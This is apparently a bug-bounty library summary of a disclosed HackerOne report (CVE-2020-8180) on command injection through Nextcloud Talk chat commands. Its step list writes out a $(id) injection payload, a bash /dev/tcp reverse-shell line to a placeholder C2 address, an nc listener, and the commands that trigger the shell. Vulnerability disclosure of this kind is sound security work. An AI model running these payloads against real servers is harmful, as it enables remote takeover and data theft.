# Code injection possible with malformed Nextcloud Talk chat commands

Nextcloud Talk chat commands pass user arguments to @exec unsanitized, letting any user inject $(...) for RCE and reverse shell.

- Payout: hidden
- Severity: high
- Program: Nextcloud
- Found by: covert-spectre
- Disclosed: 2020-06-02
- CVE: CVE-2020-8180
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/851807
- Library page: https://bugbountylibrary.com/r/h1%3A851807
- Tags: area:web domain:web impact:data-leak impact:privesc impact:rce kind:bounty platform:hackerone sev:high tech:php technique:source-review vuln:command-injection vuln:rce

**Target:** Nextcloud Talk chat command ShellExecutor (@exec)
**Root cause:** Chat command arguments are passed to the backing script via @exec without escaping, so bash subcommand syntax like $(cmd) is evaluated by the shell.
**Steps:**
1. Admin configures a Talk chat command (e.g. /wiki, /calc) that accepts arguments.
2. As any user, send `/wiki test $(id)` in a Talk conversation to confirm command execution.
3. Upload shell.sh containing `bash -i >& /dev/tcp/<c2-ip>/8888 0>&1 &` to own files.
4. Start nc listener on C2 host.
5. Run `/wiki test $(chmod +x /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh)`.
6. Run `/wiki test $(bash /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh)` to trigger reverse shell.
**How found:** Noticed chat command arguments are forwarded to the backing script via @exec; hypothesized bash subcommand substitution would be evaluated and tested with $(id).
**Exploitation:** Any authenticated user sends a chat command with a $(...) payload; the shell executes it as the Nextcloud process user, enabling a reverse shell to attacker C2 and full file/host access.
**Escalation:** Reverse shell runs as Nextcloud process user; root if Nextcloud runs as root, granting access to all user files and occ.
**Insight:** When a feature shells out with user-supplied arguments via @exec, test bash command substitution $(...) and backticks even if the command itself looks benign; output visibility depends on the backing script's echo behavior.